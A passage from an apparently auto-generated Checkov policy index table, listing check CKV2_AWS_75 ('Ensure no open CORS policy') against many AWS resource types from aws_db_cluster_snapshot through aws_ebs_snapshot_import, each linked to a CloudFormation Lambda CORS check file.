563 | CKV2_AWS_75 | resource | aws_db_cluster_snapshot                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  564 | CKV2_AWS_75 | resource | aws_db_event_subscription                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  565 | CKV2_AWS_75 | resource | aws_db_instance                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  566 | CKV2_AWS_75 | resource | aws_db_instance_automated_backups_replication                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  567 | CKV2_AWS_75 | resource | aws_db_instance_role_association                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  568 | CKV2_AWS_75 | resource | aws_db_option_group                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  569 | CKV2_AWS_75 | resource | aws_db_parameter_group                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  570 | CKV2_AWS_75 | resource | aws_db_proxy                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  571 | CKV2_AWS_75 | resource | aws_db_proxy_default_target_group                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  572 | CKV2_AWS_75 | resource | aws_db_proxy_endpoint                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  573 | CKV2_AWS_75 | resource | aws_db_proxy_target                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  574 | CKV2_AWS_75 | resource | aws_db_security_group                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  575 | CKV2_AWS_75 | resource | aws_db_snapshot                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  576 | CKV2_AWS_75 | resource | aws_db_snapshot_copy                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  577 | CKV2_AWS_75 | resource | aws_db_subnet_group                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  578 | CKV2_AWS_75 | resource | aws_default_network_acl                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  579 | CKV2_AWS_75 | resource | aws_default_route_table                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  580 | CKV2_AWS_75 | resource | aws_default_security_group                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  581 | CKV2_AWS_75 | resource | aws_default_subnet                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  582 | CKV2_AWS_75 | resource | aws_default_vpc                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  583 | CKV2_AWS_75 | resource | aws_default_vpc_dhcp_options                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  584 | CKV2_AWS_75 | resource | aws_detective_graph                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  585 | CKV2_AWS_75 | resource | aws_detective_invitation_accepter                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  586 | CKV2_AWS_75 | resource | aws_detective_member                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  587 | CKV2_AWS_75 | resource | aws_detective_organization_admin_account                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  588 | CKV2_AWS_75 | resource | aws_detective_organization_configuration                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  589 | CKV2_AWS_75 | resource | aws_devicefarm_device_pool                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  590 | CKV2_AWS_75 | resource | aws_devicefarm_instance_profile                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  591 | CKV2_AWS_75 | resource | aws_devicefarm_network_profile                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  592 | CKV2_AWS_75 | resource | aws_devicefarm_project                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  593 | CKV2_AWS_75 | resource | aws_devicefarm_test_grid_project                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  594 | CKV2_AWS_75 | resource | aws_devicefarm_upload                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  595 | CKV2_AWS_75 | resource | aws_devopsguru_event_sources_config                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  596 | CKV2_AWS_75 | resource | aws_devopsguru_notification_channel                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  597 | CKV2_AWS_75 | resource | aws_devopsguru_resource_collection                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  598 | CKV2_AWS_75 | resource | aws_devopsguru_service_integration                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  599 | CKV2_AWS_75 | resource | aws_directory_service_conditional_forwarder                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  600 | CKV2_AWS_75 | resource | aws_directory_service_directory                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  601 | CKV2_AWS_75 | resource | aws_directory_service_log_subscription                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  602 | CKV2_AWS_75 | resource | aws_directory_service_radius_settings                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  603 | CKV2_AWS_75 | resource | aws_directory_service_region                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  604 | CKV2_AWS_75 | resource | aws_directory_service_shared_directory                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  605 | CKV2_AWS_75 | resource | aws_directory_service_shared_directory_accepter                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  606 | CKV2_AWS_75 | resource | aws_directory_service_trust                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  607 | CKV2_AWS_75 | resource | aws_dlm_lifecycle_policy                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  608 | CKV2_AWS_75 | resource | aws_dms_certificate                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  609 | CKV2_AWS_75 | resource | aws_dms_endpoint                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  610 | CKV2_AWS_75 | resource | aws_dms_event_subscription                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  611 | CKV2_AWS_75 | resource | aws_dms_replication_config                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  612 | CKV2_AWS_75 | resource | aws_dms_replication_instance                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  613 | CKV2_AWS_75 | resource | aws_dms_replication_subnet_group                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  614 | CKV2_AWS_75 | resource | aws_dms_replication_task                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  615 | CKV2_AWS_75 | resource | aws_dms_s3_endpoint                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  616 | CKV2_AWS_75 | resource | aws_docdb_cluster                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  617 | CKV2_AWS_75 | resource | aws_docdb_cluster_instance                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  618 | CKV2_AWS_75 | resource | aws_docdb_cluster_parameter_group                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  619 | CKV2_AWS_75 | resource | aws_docdb_cluster_snapshot                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  620 | CKV2_AWS_75 | resource | aws_docdb_event_subscription                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  621 | CKV2_AWS_75 | resource | aws_docdb_global_cluster                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  622 | CKV2_AWS_75 | resource | aws_docdb_subnet_group                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  623 | CKV2_AWS_75 | resource | aws_docdbelastic_cluster                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  624 | CKV2_AWS_75 | resource | aws_drs_replication_configuration_template                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  625 | CKV2_AWS_75 | resource | aws_dx_bgp_peer                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  626 | CKV2_AWS_75 | resource | aws_dx_connection                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  627 | CKV2_AWS_75 | resource | aws_dx_connection_association                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  628 | CKV2_AWS_75 | resource | aws_dx_connection_confirmation                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  629 | CKV2_AWS_75 | resource | aws_dx_gateway                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  630 | CKV2_AWS_75 | resource | aws_dx_gateway_association                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  631 | CKV2_AWS_75 | resource | aws_dx_gateway_association_proposal                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  632 | CKV2_AWS_75 | resource | aws_dx_hosted_connection                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  633 | CKV2_AWS_75 | resource | aws_dx_hosted_private_virtual_interface                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  634 | CKV2_AWS_75 | resource | aws_dx_hosted_private_virtual_interface_accepter                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  635 | CKV2_AWS_75 | resource | aws_dx_hosted_public_virtual_interface                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  636 | CKV2_AWS_75 | resource | aws_dx_hosted_public_virtual_interface_accepter                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  637 | CKV2_AWS_75 | resource | aws_dx_hosted_transit_virtual_interface                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  638 | CKV2_AWS_75 | resource | aws_dx_hosted_transit_virtual_interface_accepter                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  639 | CKV2_AWS_75 | resource | aws_dx_lag                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  640 | CKV2_AWS_75 | resource | aws_dx_macsec_key_association                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  641 | CKV2_AWS_75 | resource | aws_dx_private_virtual_interface                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  642 | CKV2_AWS_75 | resource | aws_dx_public_virtual_interface                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  643 | CKV2_AWS_75 | resource | aws_dx_transit_virtual_interface                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  644 | CKV2_AWS_75 | resource | aws_dynamodb_contributor_insights                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  645 | CKV2_AWS_75 | resource | aws_dynamodb_global_table                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  646 | CKV2_AWS_75 | resource | aws_dynamodb_kinesis_streaming_destination                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  647 | CKV2_AWS_75 | resource | aws_dynamodb_resource_policy                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  648 | CKV2_AWS_75 | resource | aws_dynamodb_table                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  649 | CKV2_AWS_75 | resource | aws_dynamodb_table_export                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  650 | CKV2_AWS_75 | resource | aws_dynamodb_table_item                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  651 | CKV2_AWS_75 | resource | aws_dynamodb_table_replica                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  652 | CKV2_AWS_75 | resource | aws_dynamodb_tag                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  653 | CKV2_AWS_75 | resource | aws_ebs_default_kms_key                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  654 | CKV2_AWS_75 | resource | aws_ebs_encryption_by_default                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  655 | CKV2_AWS_75 | resource | aws_ebs_fast_snapshot_restore                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  656 | CKV2_AWS_75 | resource | aws_ebs_snapshot                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  657 | CKV2_AWS_75 | resource | aws_ebs_snapshot_block_public_access                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  658 | CKV2_AWS_75 | resource | aws_ebs_snapshot_copy                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  659 | CKV2_AWS_75 | resource | aws_ebs_snapshot_import                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | 